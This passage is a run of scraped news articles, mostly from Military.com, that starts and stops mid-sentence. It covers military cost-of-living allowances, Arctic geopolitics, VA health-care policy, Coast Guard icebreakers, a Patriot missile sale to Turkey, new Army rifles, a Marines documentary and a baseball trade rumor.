list. That means the DoD will pay out roughly $22.1 million in CONUS COLA in 2019, down about $6 million from last year. Related: Here's Your 2019 BAH Related: Military Pay Calculator For 2019, three metropolitan regions determined by the DoD to be military housing areas will be added to the COLA list, while eight will be removed. For non-metropolitan counties, two will begin receiving COLA for the first time, while 37 will be removed from the list. The military housing area with the largest COLA increase for 2019 is Santa Clara County, California, which will see its COLA rate rise from 3 percent to 5 percent. Atlantic City, New Jersey, will see the largest decrease, moving from 7 percent to 1 percent. San Francisco, California, and Staten Island and New York City, New York, will have the highest COLA rates in 2019. San Francisco and New York City's rates will be 6 percent, while troops on Staten Island will receive 8 percent. You can calculate your CONUS COLA rate using the Defense Department's calculator. To calculate whether a region will receive COLA, a DoD contractor provides cost data from each area for transportation, goods and services, federal income taxes, sales taxes and miscellaneous expenses. That data is adjusted to account for Basic Allowance for Subsistence and savings troops can find by shopping at the commissary or exchange. That data is then compared to the average CONUS cost data. If the difference between the two, known as the "index," is more than 108 percent, troops in the region receive a COLA payment. The amount of COLA troops receive also varies based on rank, years of service and dependents. -- Amy Bushatz can be reached at amy.bushatz@military.com. -- Joseph V. Micallef is a best-selling military history and world affairs author, and keynote speaker. Follow him on Twitter @JosephVMicallef. "They've [Russia] got all their chess pieces on the board right now, and we've got a pawn and maybe a rook. If you look at this Arctic game of chess, they've got us at checkmate right at the very beginning." -- Admiral Paul Zukunft, Commandant of the U.S. Coast Guard, May 3, 2017 Current global warming trends are rapidly transforming the geopolitics of the Arctic region. This development, should it continue, could unlock vast new mineral and hydrocarbon resources in the Arctic and the accompanying continental shelf. It also could make practical a northern sea route, via either Russia's northeast passage or Canada's northwest passage, which could cut the transit time to ship from east Asia to either Europe or North America's east coast by a third. In addition, Moscow's expanded access to Russia's more than 4,000 miles of Arctic coastline could fundamentally transform Russia from a continental to maritime power, creating new opportunities for Russia, as well as underscoring security risks along Russia's northern border that previously had been made moot by the area's harsh climate. Moreover, the prospect of the Arctic Ocean emerging as a new theater of military rivalry between Moscow and Washington will create new challenges for the U.S. and its NATO allies in projecting military power across the Arctic region. This is the first of a two-part series that will explore the emerging U.S.--Russian rivalry in the Arctic. Part I will look at the geopolitics of the region, its economic significance and the basis for the conflicting claims that have been extended over the Arctic Ocean. Part II will look at the military dimension of the U.S.--Russian rivalry in the Arctic. Arctic Geopolitics The definition of what constitutes the Arctic varies widely. At its narrowest, it encompasses the Arctic Ocean. That makes the five nations that surround it -- Russia, the United States, Norway, Denmark/Greenland and Canada -- the principal Arctic powers. The region has also been defined as the area above the Arctic Circle, what Russia refers to as the "High North." This definition would include Iceland, Sweden and Finland as Arctic powers, even though they do not front the Arctic Ocean. These eight nations form the Arctic Council, an intergovernmental forum to deal with Arctic-wide issues. Roughly half of the four million people who live above the Arctic Circle are Russian, although Russia's Arctic regions have been steadily depopulating for the last several decades. China, Japan and South Korea all have expressed interest in Arctic affairs and have observer status on the Arctic Council. China has declared itself to be a "near Arctic state." In January 2018, Beijing unveiled its plans for a "Polar Silk Route" and announced that it was "an important stakeholder in Arctic affairs." Beijing has aggressively pushed for a wider role in the Arctic, seeking to negotiate free trade agreements with both Canada and the Scandinavian nations. It provided financial support for Russia's Yamal LNG project and for a similar U.S. project in Alaska. It has also heavily wooed Greenland's government with offers of large-scale investment and economic development aid. Greenland, along with the Faroe Islands and Denmark, is part of the Unity of the Realm, in Danish, known as the Rigsfllesskabet federation, a semi-autonomous grouping with Denmark retaining jurisdiction over foreign and defense policy. Unlike Denmark, Greenland is not part of the European Union (EU), nor is it part of the European Free Trade Association (EFTA), like Norway and Iceland. It is gradually moving toward becoming a fully independent state, although this will likely be an extended, decades long, process. Notwithstanding these various definitions, however, it is not always possible to deal with the Arctic as a contiguous whole. Climatically, the Arctic Ocean area is divided into four regions (eastern Greenland to western Russia, the Siberian shelf, Chukotka to the western Canadian Arctic and the central Canadian Arctic to western Greenland), all of which are responding differently to the region's rising temperatures. Moreover, the state of infrastructure development varies widely across the Arctic coastline. Russia divides its Arctic region into three distinct zones: a European zone from Murmansk to Arkhangelsk, which incorporates the Barents and Pechora Seas, a central Arctic zone centered on the Yamal Peninsula, and including the Kara Sea, and an eastern Siberian zone from Sakha to Yakutia, which incorporates the Laptev, east Siberian and Chukchi Seas. Development prospects range from quite feasible in the Murmansk-Arkhangelsk region to poor in Sakha-Yakutia. Likewise, infrastructure development in Norway's Arctic region is far more advanced than it is in Greenland or North America, especially the Canadian High Arctic. The Arctic's Mineral Bonanza In 2008, the U.S. Geological Service (USGS) estimated that the Arctic contains more than 1,669 trillion cubic feet of natural gas reserves. This amount is equivalent to roughly 30 percent of the world's remaining undeveloped supply and almost four times U.S. reserves. This estimate does not include methane hydrates on the sea bed. Their addition could boost potential reserves exponentially. In addition, it's estimated that there is 44 billion barrels of natural gas liquids and 90 billion barrels of oil. This is about 13 percent of the projected undeveloped oil resources. The USGS estimated that 84 percent of the Arctic's hydrocarbons are offshore; 60 percent of undiscovered Arctic oil is in Russian territory. According to Russian geological surveys, 90 percent plus of the hydrocarbon reserves are located in the Arctic zone of the Siberian continental shelf, with 67 percent in the Barents and Kara Seas in the western Russian Arctic. Additionally, the USGS has estimated that Alaska has coal reserves equivalent to nearly 10 percent of the world's supply, and that the Arctic subsurface contains large quantities of chromium, cobalt, copper, gold, iron, lead, magnesium, manganese, nickel, platinum, silver, tin, titanium, tungsten and zinc. Additionally, about 10 percent of the world's fish stocks inhabit Arctic waters. It is not clear, however, whether these reserves are technically and economically feasible to exploit. The International Energy Agency (IEA) estimates that oil prices will have to average around $120 per barrel for Arctic hydrocarbon development to be economic. Moreover, Russian sources claim that infrastructure and development costs will amount to approximately one trillion dollars (69 trillion rubles) in capital investment. Russia's energy sector lacks the technology to exploit deep water Arctic hydrocarbon deposits. Additionally, much of the existing Russian energy infrastructure in the Arctic region was not designed to cope with melting permafrost. A warming Arctic will wreak havoc with Russia's pipelines and oil fields long before it opens access to new hydrocarbon deposits. The Arctic's Conflicting Land Claims Map of the Arctic Ocean sea floor that illustrates the position of the Lomonosov and Mendeleev Ridges. (Wikimedia Commons/Mikenorton) One of the distinctive features of the Arctic Ocean is that roughly one-third of it sits atop the Eurasian and North American continental shelf. Depending on whether the Mendeleev and Lomonosov ridges are considered part of the continental shelf, this could be increased to more than half of the Arctic Ocean. In addition, a vast number of islands rise up from the continental shelf. Like the disputes in the South China Sea, adjudication of who owns the continental shelf will have a significant impact on sovereignty in the Arctic region. Conflicting claims to the Arctic date back to at least 1925, when Canada extended its maritime boundary to cover an area from 60W to 141W and northward all the way to the North Pole. The distance between Canada's northernmost point of land, Cape Columbia on Ellesmere Island, to the geographic North Pole is 415 nautical miles (478 statutory miles). Canada has also claimed that the various channels and straits that constitute the northwest passage are part of its internal waters. The U.S. and several other countries have contested that claim, arguing that the northwest passage is an international waterway allowing free and unencumbered passage. In 1926, the Soviet Union claimed sovereignty over all the islands and lands between 32E and 168W between its coastline and the North Pole. During the Cold War, Soviet eras maps of the Arctic marked the USSR's northern boundary as a line along 32E longitude from the Kola Peninsula and 180E longitude from the Bering Strait extending toward the North Pole. Based on those coordinates, approximately a third of the Arctic Ocean were considered Soviet territorial waters. Russia's current claims are less expansive than those extended by the Soviet Union. In 2001, in accordance with the U.N. Convention on the Law of the Sea (UNCLOS), Moscow submitted a claim to the U.N. Commission on the Limits of the Continental Shelf (CLCS) to extend its Exclusive Economic Zone (EEZ) from 200 to 350 miles. Under UNCLOS, maritime states can claim a 200-mile-wide EEZ off their coasts. This EEZ can be extended up to 350 miles if a country can show it has an "expanded continental shelf" that extends beyond the 200-mile limit. According to the Russian claim, the Lomonosov and Mendeleev ridges, two roughly 1,000-mile-long underwater mountain chains that span the Arctic sea floor almost all the way to Greenland and the Canadian Arctic, were part of the Russian continental shelf. Based on Russia's extended continental shelf claims, roughly 460,000 additional square miles of the Arctic Ocean would come under Moscow's sovereignty. The area would extend to virtually the 200-mile EEZ of the U.S., Canada and Denmark/Greenland. It would also include the geographic North Pole, although Russia has stopped short of claiming the North Pole as part of its EEZ. In 2005, however, the Russian Arktika expedition -- the first crewed descent to the sea floor beneath the North Pole -- did plant a Russian flag made of titanium on the Arctic floor at the geographic pole. The action brought sharp rebukes from the U.S., Canada and Denmark. The Kremlin claimed, however, that it was not asserting sovereignty and, according to Russian Foreign Minister Sergei Lavarov, "We're not throwing flags around. We just do what other discoverers did. The purpose of the expedition is not to stake whatever rights of Russia, but to prove that our shelf extends to the North Pole. By the way, on the Moon, it was the same." The CLCS has not ruled on the Russian petition but instead has asked for additional information substantiating Moscow's claim. Norway has extended a claim from 5E to 25E, extending to the North Pole, and the U.S. has extended a claim from 170W to 141W, also extending to the North Pole. Denmark could extend a claim from 60W to 10W, also extending to the North Pole but has not formally done so. It has, however, claimed that the Lomonosov and Mendeleev ridges are extensions of Greenland's continental shelf. Both Denmark and Norway have filed claims with the CLCS. There is significant overlap in the claims that have been extended by the five Arctic nations. Russia and Norway had a long-standing dispute over the demarcation of their respective boundaries in the Barents Sea. The dispute was finally resolved in 2010, when both countries signed a treaty dividing the disputed region evenly between them. Russia's extended claims may simply be a negotiating stance in anticipation of eventually splitting the disputed region between the other claimants. There are, in fact, two different issues concerning the demarcation of the extended EEZs in the Arctic Ocean. Under UNCLOS, those areas that are not subject to a country's EEZ are open to all countries to exploit. The five nations whose continental shelf extends below the Arctic Ocean have a vested interest in an expansive definition of their respective continental shelves and in reaching an amicable agreement among themselves for dividing the contested area. Notwithstanding that, however, an expanded Russian EEZ may pose security issues for the U.S. that may supersede the advantages of an extended U.S. EEZ. Moreover, an expanded Russian EEZ would also mean that the northeast passage route would remain firmly in Russia's zone of control. The northeast passage across the Arctic is superior to that of the northwest passage. First, it's deeper, allowing for larger ships and heavier cargoes. Moreover, under the influence of the Gulf Stream, it is expected to be operable much earlier than Canada's northwest passage. Finally, those countries that are interested in a large role in the Arctic but do not border the Arctic Ocean, including China, South Korea, Japan, Sweden and Finland, have an interest in limiting the EEZs to the 200-mile limit and maximizing the area of the Arctic Ocean that would be classified as international waters. International interest in exploitation of the Arctic and its resources will continue to increase as the region continues to warm, even if there are significant technological, capital and political challenges that need to be overcome before the region's mineral wealth can be unlocked. Moreover, several non-Arctic powers, especially China, are looking to play a larger role in the region's affairs, further complicating its political relations. For the U.S., the economic opportunities presented by a warming Arctic are tempered by the fact that the region will likely emerge as an area of military rivalry with Russia, and eventually with China, as well. The military aspects of the emerging great power rivalry in the Arctic will be covered in Part II. -- The opinions expressed in this op-ed are those of the author and do not necessarily reflect the views of Military.com. If you would like to submit your own commentary, please send your article to opinions@military.com for consideration. A retired Marine Corps combat veteran helped thwart a robbery in Pennsylvania on Tuesday after he tackled a person pointing a gun at him, police said. The Altoona Police Department said the incident happened around 1 a.m. at Ajay's Bar, when a hooded man or woman walked in and demanded cash. The bartender, who was not identified, can be seen on surveillance videos released by the department taking money out of the cash register as the gun-wielding bar patron stands near him. The bartender starts to hand cash over then suddenly tackles the person. During the struggle, police said a shot was fired, but neither of the two was struck by the bullet. The would-be robber then fled the bar, leaving a blood trail to the backyard of a home down the road before eventually getting away. The would-be robber is described by police as a light-skinned black male or female with "apparent facial and head injuries" after being struck by the weapon. The gun used in the attempted robbery was recovered at the scene. Police told WJAC-TV the weapon was reported stolen several months ago. STUTTGART, Germany -- A U.S. servicemember, detained this week by Turkish officials over accusations he has links to a U.S.-based Turkish cleric considered an enemy by Ankara, has been released. U.S. European Command said the soldier was released Thursday, but had no other details. The American was identified as Yahya Ozer, who is listed in U.S. military records as an Army specialist assigned to Combined Joint Special Operations Task ForceSyria. Aksam newspaper, a media group that backs the government of Turkish President Recep Tayyip Erdogan, reported that the soldier was taken into custody at Istanbul's Ataturk Airport earlier in the week. He was stationed at Incirlik Air Base, where he worked as a translator, the newspaper said. The soldier also has family ties in southern Turkey. Ozer was accused of being a follower of Fethullah Gulen, a Muslim cleric who is exiled in Pennsylvania and wanted by the Erdogan regime. The incident came to light one day after President Donald Trump ordered the departure of all U.S. troops from Syria, a move that has been regarded as a victory for Ankara, which has opposed the presence of U.S. ground troops there. Turkey has also said recently that Trump expressed willingness to extradite Gulen, though White House officials have disputed that claim. Incirlik Air Base is a main hub for U.S. forces in Turkey and has played a key role in delivering airstrikes against Islamic State targets in Syria and Iraq. The base, which is Turkish operated, also had a role in the 2016 coup attempt in the country. In the aftermath of the failed coup, which involved members of the country's air force, some Turkish leaders accused the U.S. of having a role in the incident. Erdogan also has said Gulen supporters were responsible for the attempt. In August, a group of pro-government lawyers in Turkey filed charges against several U.S. officers associated with the air base, seeking their arrest for alleged ties to terrorist groups. Ozer was apparently headed back to the U.S. when he was taken into custody in Istanbul, the newspaper said. Aksam reported that he had connections to Harmony Public Schools in Texas, which has received funding from Gulen's supporters. While recent military records list Ozer as being part of a joint task force in Syria, it is not clear what specific unit he is assigned to. Lt. Col. Loren Bymer, a spokesman with Army Special Operations Command, said Thursday Ozer doesn't fall under their command. Before his release, the soldier was is in custody along with some of his family members, the paper reported. Since then, the business has expanded to three locations on Chicagos North Side and one in Evanston that offer a full menu including famed pies and other baked goods with part of the proceeds going to support partnerships with organizations that feed the hungry or homeless, Haak said. Those organizations include StreetWise, the Broadway Youth Center and various churches that offer hot meals. Someone in need can also visit one of the cafes once a day and order anything off the menu, free of charge, she said. In September, three months after signing the mammoth VA Mission Act, President Donald Trump claimed in a speech that soon "if a veteran can't get the care they need from the VA in a timely fashion, they have the right to go see a private doctor. Today, for the first time in American history, I am about to sign a bill that will fully and permanently give our great and cherished veterans choice." The bill Trump actually signed that day in Las Vegas funded the Department of Veterans Affairs for the next two years and 2019 military construction projects. The law he signed months earlier will replace the beleaguered Choice program by next June and do much more. It mandates more timely appointments and improved staffing at VA medical centers and clinics. It requires the VA to create a new network of commercial walk-in clinics and to ensure prompt payment to outside health care providers. It orders the VA to expand over the next several years its comprehensive caregiver program to older generations of injured veterans. At a joint hearing Wednesday of the House and Senate Veterans Affairs Committees, VA Secretary Robert Wilkie reported on his department's progress implementing the VA Mission Act. The facts he shared left many lawmakers concerned that deadlines set only six months ago, particularly for caregiver benefit expansion, might not be met because of the VA's aging computer systems. More disturbing to Democrats on both committees is the prospect that the VA and the White House will ignore warnings of veteran groups and adopt liberal access standards for the community-care portion of the bill. This would allow Trump, in his State of the Union address next month, to claim again that the law bestows unfettered access to private-sector care on any veteran who qualifies for VA care and is dissatisfied with its timeliness or convenience. Democrats at the hearing warned that if the VA embraces the vision Trump espouses, it will drive the cost of VA-run community-care programs so high as to put VA medical centers and clinics at risk. In effect, it would achieve what advocates for privatizing VA health care have sought for years. "We have heard conflicting information regarding VA's development ... of designated access standards" for VA-run private-sector care networks, said Rep. Mark Takano (D-Calif.), who will become chairman of the House Veterans Affairs Committee next month. "We also heard from VA staff that the president is likely to announce the adoption of a designated access standard model during his State of the Union address. However, Congress has not yet been made aware of what models are being considered and the reasoning behind any imminent decision." Wilkie promised Takano that Congress will be briefed on plans to control veterans' access to its networks of community-care providers soon after the president is briefed on alternatives and endorses one. Wilkie suggested the choice likely will be a "hybrid" of access standards set for military beneficiaries who use Tricare and the access afforded older Americans eligible for Medicare. Takano said he is worried Trump will make his decision "the night before he makes a grand speech about how every veteran is going to be able to see any doctor they want to see. I mean that's one model that sounds good, but there's a lot of downside" given the money that would have to be diverted from essential VA care and staffing to pay for private-sector physicians and community-care facilities. Other Democrats, including Sen. Jon Tester of Montana, ranking Democrat on the Senate committee, expressed similar concerns. Tester said he shared the frustration of veteran service organizations who, along with congressional staffs, have been shut out of decision-making over private-care access standards though the law mandates the VA involve them in plans for implementing the Mission Act. "I have grown increasingly concerned with the department's planned implementation of the new veterans community-care program moving away from the direction it was headed just six month ago," he said. At that time, Tester said, the VA agreed that if veterans faced excessive wait times or driving distance to get care at a VA facility, they should be offered referrals to community networks. "Specifically, we discussed designating access standards for services like routine lab work and X-rays. We agreed to give the VA authority to decide exactly what services or categories of care should make veterans automatically eligible to receive care in the community," Tester said. Now, he said, the VA has indicated it will set access standards for "each and every type of care a veteran might need. This would essentially outsource all segments of health care to the community based on arbitrary wait times or geographic standards, which was what we're supposed to be moving away from by ending the Choice program. And that's despite the fact that several studies, one as recently as last week, have indicated the quality and care at the VA is good or better than the private sector." "To make matters worse," Tester added, "VA officials have offered only vague verbal descriptions of the various sets of potential access standards under consideration. We need to know what you're doing, Mr. Secretary, and how much it's going to cost." Because "if you move further down this path, gutting the VA health care system for those veterans who want and need to use it, you'll end up bringing down the whole boat," he said. "And you're going to spend a whole lot of time and money sending veterans into community for care that is less timely and not as high in quality. That's a bad deal for our taxpayers [and] our veterans." Tester said his suspicion is that White House-led politics are behind the course correction over access standards and the VA's reluctance to brief congressional staffs and engage veterans groups more deeply. "I hope I'm wrong," he said. In response, Wilkie reviewed features of the Mission Act that will strengthen VA staffing, allowing the department to offer better compensation packages to fill staff shortages of mental health specialists, internists and primary-care physicians. Regarding privatization, Wilkie said he agreed with Tester that "veterans are happy with the service they get at the Department of Veterans Affairs. I have not seen any indication that the majority of our veterans are chomping at the bit to find alternative ways to take care of themselves. The most important part is the communal nature of veterans' care. Veterans want to go places where people speak the language and understand the culture." On access standards, Wilkie said, "I have in mind not only Senator Tester's state of Montana when it comes to the ability of our veterans to get to services, but also the most heavily congested metropolitan areas of this country. We have to make it easier for our veterans to get that care they need." Wilkie said the major veteran organizations might feel less involved in the process because he has engaged more than past secretaries with smaller veterans groups -- for example, Purple Heart and blinded veterans, to reflect changes in the demographics of the veterans population. Blue Water Navy Bill Sinks Several senators used the joint hearing to express regret that the Senate failed to pass the Blue Water Navy Vietnam Veterans Act (HR 299), even though the House approved it unanimously last June. Referring to a host of veteran benefit bills that became laws in the 115th Congress, Sen. Johnny Isakson (R-Ga.), Senate committee chairman, conceded to House colleagues "that we dropped the ball with you on one thing: You all got the Blue Water Navy through. ... We failed in the Senate on two [unanimous consent attempts], one today and one last week." Sen. Mike Lee (R-Utah) became the second senator to block the bill, arguing as did Sen. Mike Enzi (R-Wyoming) last week, that budget offsets identified by the House, to cover the cost of extending Agent Orange-related health care and disability compensation to ailing shipboard veterans of the Vietnam War, were insufficient based on revised calculations by the Congressional Budget Office. Isakson vowed to lead a fresh effort to pass the bill in the next Congress. To comment, write Military Update, P.O. Box 231111, Centreville, VA, 20120 or email milupdate@aol.com or twitter: @Military_Update. A badly needed, new icebreaker for the Coast Guard is at least six years from being commissioned, assuming Congress can come up with the money to build it, Coast Guard Commandant Adm. Karl Schultz said. Even then, the heavy icebreaker that would replace the 42-year-old Polar Star would have the primary mission of busting ice at the South Pole, rather than patrolling the Arctic, where Russia and China aggressively have been making inroads, Schultz said during several appearances in December in Washington, D.C., aiming to rally support for the Coast Guard's budget and readiness initiatives. "We need one now," Schultz said of the icebreaker, which would be classified as a "Polar Security Cutter." The $950 million that was included in the White House budget plan for the icebreaker has been held up in the House in the ongoing impasse over the Department of Homeland Security budget and those of other agencies as well as border wall funding. On Monday, President Donald Trump suggested he is open to compromise to avoid a possible partial government shutdown at midnight on Friday. In a tweet early Wednesday, Trump said again that the military would build the wall, although there is no funding in the Defense Department's budget for wall construction. At a Navy League breakfast Dec. 14, and in a brief interview afterward with Military.com, Schultz said he expects Congress will restore funding for the new icebreaker. "That's a big one for us," he said, but adding that it would be only a first step in building a fleet of six icebreakers -- three heavy and three medium icebreakers. Schultz said he expects a contract for the first new icebreaker to be issued in spring 2019, but added that it would take six years from contract award "to splashing that ship." The Polar Star was commissioned in 1976 and "is tired," he said. The Coast Guard currently operates the 399-foot Polar Star, which recently left Seattle for Antarctica for its annual mission to keep open the sea-lanes to the U.S. scientific base on McMurdo Sound, and the 420-foot medium icebreaker Healy, which was commissioned in 2000, and performs scientific missions and icebreaking duties in the Arctic. The Polar Star is able to continue running partly due to the fact that its sister ship, the Polar Sea, which was commissioned in 1978, suffered a complete failure of most of its diesel engines in 2010 and now is used as a parts donor for the Polar Star. Polar Star is capable of breaking through six feet of ice at 3 to 4 knots, and can break through 21 feet of ice by backing and ramming. The Healy can break through about 4 feet of ice at 3 to 4 knots and 8 feet of ice when backing and ramming, Schultz said. The commandant said the first new polar security cutter will be the replacement for Polar Star and would make the annual sojourn to McMurdo Sound. "It's not until you get to hulls two and three" of the proposed fleet of six that "you really start to craft some presence for the Arctic mission," he said. Even assuming that the Coast Guard eventually receives six new icebreakers, the U.S. fleet would still be dwarfed by Russia's fleet, which has nearly 50 icebreakers, according to the U.S. Navy. In June, Defense Secretary Jim Mattis began noting the growing presence of Russia in the Arctic region and has stressed the need for a U.S. response. "Certainly, America's got to up its game in the Arctic. There's no doubt about that," Mattis said. The Coast Guard is expected to play a major role in the mission, he said in June at Eielson Air Force Base during a refueling stop on a trip to Asia. Schultz told Military.com that Alaskan officials are lobbying the Navy to establish a base at a deep water port in the state to counter the growing Russian and Chinese naval presence in the region. A Navy base in the Arctic "certainly would be of benefit to our ability to deploy capability up there," Schultz said, but "in the interim period, our thinking right now is sea-based operations. That's probably for the foreseeable future." Last week, at a joint hearing of the Senate subcommittees on Sea Power, and Readiness and Management, Navy Secretary Richard V. Spencer said he wants to boost the Navy's presence in the Arctic but lacks the funding to do it. "Our Russian friends are warming up five airstrips and 10,000 Spetsnaz [special forces] troops for quote/unquote 'search and rescue.' The Chinese are up there. Everybody is up there" in the Arctic, Spencer said. Added Sen. Dan Sullivan, R-Alaska: "Everybody but us." Spencer responded, "We are up there under the sea and in the air," adding that the Navy is seeking to identify potential deep water ports in Alaska that could accommodate Navy ships. "If I had a blank check for everything, it would be terrific to ice-harden ships but, with the demand we have right now, it is unaffordable," he said. "We need to get up there. I can commit to the fact that we're trying to figure out how we do ... that." In the meantime, the open waters in the Arctic continue to expand as the polar ice cap diminishes. For nearly two decades, the Coast Guard has sounded the alarm that the melting ice in the Arctic has created new and vast stretches of open water that require a U.S. presence. The Coast Guard's Arctic Strategy for 2013 noted that, in 2012, "we observed the lowest sea ice extent in recorded history," adding that "there are vast areas of open water where there used to be ice." Commercial operations are expanding to "the most remote reaches of Alaska" and small cruise ships are venturing farther north, the 2013 strategy noted. The 2018 "Arctic Report Card" released last week by the National Oceanic and Atmospheric Administration stressed the continuing rapid decline in Arctic sea ice. The report said the Arctic region "experienced the second-warmest air temperatures ever recorded; the second-lowest overall sea-ice coverage; lowest recorded winter ice in the Bering Sea; and earlier plankton blooms due to early melting of sea ice in the Bering Sea." -- Richard Sisk can be reached at Richard.Sisk@monster.com. The U.S. on Tuesday approved the potential sale of the Patriot missile system and related equipment to Turkey for $3.5 billion, according to the State Department. Should Turkey accept, pending congressional approval, it would receive 80 Patriot MIM-104E Guidance Enhanced Missiles (GEM-T), 60 PAC-3 Missile Segment Enhancement (MSE) missiles, and related equipment for that estimated price, State Department officials said in an announcement. The news comes as both Russia and the U.S. aim to sway Turkey to buy their surface-to-air missile batteries. In July, the U.S. said it was still hoping to convince Turkey to buy the Patriot missile system instead of Russia's S-400, known as the "Triumf." Earlier this year, Turkey firmed up a $2.5 billion deal to purchase S-400 surface-to-air missile systems. Turkey last year verbally agreed to buy four Russian-made S-400 mobile missile batteries over the next few years. It finalized the deal in September 2017. Related content: The decision created agitation on Capitol Hill, where lawmakers cited it as a reason to block additional sales of the F-35 Joint Strike Fighter to the NATO-member country in the fiscal 2019 National Defense Authorization Act. The S-400 system is known by Moscow as the "F-35 killer." It remains uncertain whether Turkey will accept the U.S. deal. But officials such as Defense Secretary Jim Mattis have stressed the S-400 will not function with other systems used by NATO. "The problem is, how do you interoperate with NATO systems with Russians; they'll never interoperate," he told reporters last year. The advanced "Triumf" has been spotted in Syria and can carry multiple short- to very long-range missiles with a variety of sensor systems. It has a range of 400 kilometers and is effective against stealth aircraft, ballistic missiles and cruise missiles, according to the Congressional Research Service. A State Department spokesperson on Wednesday reaffirmed a similar position in an interview with CNN: "This notification provides a NATO-interoperable alternative to the S-400: nothing more, nothing less." "It has no connection to other policy matters," the spokesperson added. President Donald Trump spoke with Turkeys President Recep Tayyip Erdogan last Friday. Reuters reported that Kremlin spokesman Dmitry Peskov said the two transactions -- the S-400 buy and the potential Patriot purchase -- should be seen as separate from one another. Peskov said Russia will continue processing its end of the sale, Reuters said. Both Lockheed Martin Corp. and Raytheon Co. build parts of the long-range Patriot SAM system. Officials have touted the Patriot to Turkey for years. The country expressed interest in the system after the war in Syria began in 2012. Turkey had not ruled out purchase of the Patriot system even as the U.S. pushed a potential sale back in July, according to the Daily Sabah Diplomacy, a Turkish news site. Unidentified officials who spoke to the paper at the time said that, while no deal was in place, conversations had been held about the system. But the Patriot isn't a suitable alternative to the S-400, the officials told Daily Sabah. Should Turkey purchase the Patriot instead of the S-400, the decision could improve its relations with U.S. lawmakers and smooth over the F-35 stealth fighter kerfuffle. In September, Military.com learned that two F-35A Lightning IIs were still slated to be delivered to Luke Air Force Base, Arizona, for the Turkish pilot training program in early 2019. "There has been no change to our contract or our relationship with Turkey as a partner, with Turkey as a supplier. Nothing's changed," Greg Ulmer, vice president and general manager of the F-35 program at Lockheed Martin Corp, said at the time. A Defense Department spokesman said the program of record with Turkey would continue until a joint DoD-State Department report was delivered to Congress. Per the NDAA, Mattis and Secretary of State Mike Pompeo had until mid-November to submit a report to lawmakers describing the current U.S.-Turkey relationship and whether keeping the F-35 from Turkey would hurt production, training or other partnerships. The report sent to lawmakers said Turkey had risked expulsion from the F-35 program because of the S-400 buy, according to a report from Bloomberg last month. Whether that decision has changed and how the Pentagon intends to proceed remain unclear. The Defense Department did not return Military.com's request for comment by press time. -- Oriana Pawlyk can be reached at oriana.pawlyk@military.com. Follow her on Twitter at @Oriana0214. The Army has announced that it plans to give gunmakers the opportunity to build 6.8mm prototypes for the service's effort to replace its M249 squad automatic weapon and M4/M4A1 carbine. The release date of the much-anticipated Prototype Opportunity Notice, or PON, for the Next Generation Squad Weapon program "is currently estimated to be January 2019," according to a Dec. 17 update to the service's draft PON, which outlines changes made after an industry day held Nov. 14 at Picatinny Arsenal, New Jersey. The Army released the original draft PON solicitation Oct. 4. It described the service's plans to award future deals to companies to build prototypes of the Next Generation Squad Weapon-Rifle, or NGSW-R, and the Next Generation Squad Weapon-Automatic Rifle, or NGSW-AR, chambered for a newly designed, "government-provided" 6.8mm cartridge. The service intends to have companies develop prototypes of both the rifle and auto rifle versions of the NGSW to ensure the Army-developed 6.8mm round works efficiently in both weapons, officials said. The Army's interest in fielding a 6.8mm round, intended to make a squad more lethal, emerged from a 2017 Small Arms Ammunition Configuration Study. If the PON is released in January, the plan is to have gunmakers submit proposals in April, the updated solicitation states. The update also states that the Army plans to "remove the live-fire portion of the Bid Sample evaluation and replace it with a recoil/impulse test (details to be determined)." In a separate action, the Army awarded five contracts to gunmakers in July to develop prototypes of the auto rifle. The prototypes from those contract awards are scheduled to be delivered to the service next June for evaluation, Army officials said. If the NGSW program leads to the adoption of new weapons, Army leaders plan to field them to soldiers in infantry and other close-combat units, service officials have said. -- Matthew Cox can be reached at matthew.cox@military.com. "We, The Marines" is a large-format documentary made by the Marine Corps Heritage Foundation and funded by Boeing Co. for permanent exhibit in the giant-screen Medal of Honor Theater at the National Museum of the Marine Corps near Quantico, Va. Made by the expert IMAX producers at MacGillivray Freeman, the movie is an unabashed love letter to the Corps. Gene Hackman is our greatest living Marine veteran actor, an Oscar winner for "The French Connection" and "Unforgiven." He also starred in the classics "Bonnie and Clyde," "Hoosiers," "The Poseidon Adventure," "The Conversation," "Superman," "Night Moves," "Mississippi Burning," "Enemy of the State," "Get Shorty" and "The Royal Tenenbaums." He retired from acting after co-starring with Ray Romano in "Welcome to Mooseport" in 2004 and, aside from voiceover work in a few Lowe's Home Improvement ads, he's been missing in action. It's amazing to hear -- if not see -- him in this movie, and his love for the Marine Corps informs every word he says during the film. Shout! Factory has just released "We, The Marines" in a 4K UHD/Blu-ray-Digital Download set, one in a series IMAX documentaries it has brought to home video. 4K isn't exactly IMAX, but the films make for an incredible use of the new format. If you have a 4K disc player to go with your 4K UHD television, this movie is a must-own showcase for your home theater setup. It's the company's first release in the new HDR10+ format, which provides for scene-by-scene, frame-by-frame adjustments to the image during playback. The 37-minute film is structured around the locations and experiences that mold a Marine, from boot camp to amphibious assault to mountain warfare to live-fire drills. Just as good (and nearly as long) as the feature is the bonus documentary, which combines making-of footage featuring the filmmakers, with finished scenes that are as compelling as anything in the finished movie. Museums have to squeeze in one showing per hour, but it would be nice to see a feature-length version of this one that combines all the footage from the two films included here. You can stream "We, The Marines," but you owe it to yourself to see this 4K version if you can. NOVEMBER 7: Texas has not been able to find a trade partner and will officially decline Hollands option today, per MLB.coms T.R. Sullivan (via Twitter). OCTOBER 31, 8:45pm: Texas has informed Holland that his option wont be picked up at least, not to play with the Rangers, according to MLB.coms T.R. Sullivan. It isnt clear at this point what kinds of scenarios the Rangers are weighing with regard to the southpaw. Holland could conceivably be moved for another veteran with a reasonably hefty salary or instead be cashed in for some prospect value. Its also possible that Texas could contribute cash to boost the return. While there isnt an immense amount of surplus value in Hollands contract, interested rivals will surely be intrigued at the possibility of getting him for a one-year commitment with another available option year rather than possibly being forced to promise more to woo him via free agency. 7:11pm: The Rangers are willing to trade left-hander Derek Holland, over whom they hold an $11MM club option with a $1.5MM buyout, reports Jon Heyman of FanRag Sports. Heyman hears that Holland may have played his final game as a member of the Rangers, writing that theyd prefer to move him rather than keep him on the books. Furthermore, he tweets that a few teams are showing interest in Holland, and a trade would happen soon if it were to take place. The timing component of that followup isnt much of a surprise, as teams have until five days after the conclusion of the World Series to decide on the options for their players, but its certainly notable that teams are expressing interest. While Holland may not appear like a highly appealing trade candidate on the heels of a disappointing season, there are a few reasons to believe that clubs would be willing to take him on at $11MM next year. First and foremost, the free-agent market for starting pitching is a veritable wasteland this offseason, with the top names available including Rich Hill, 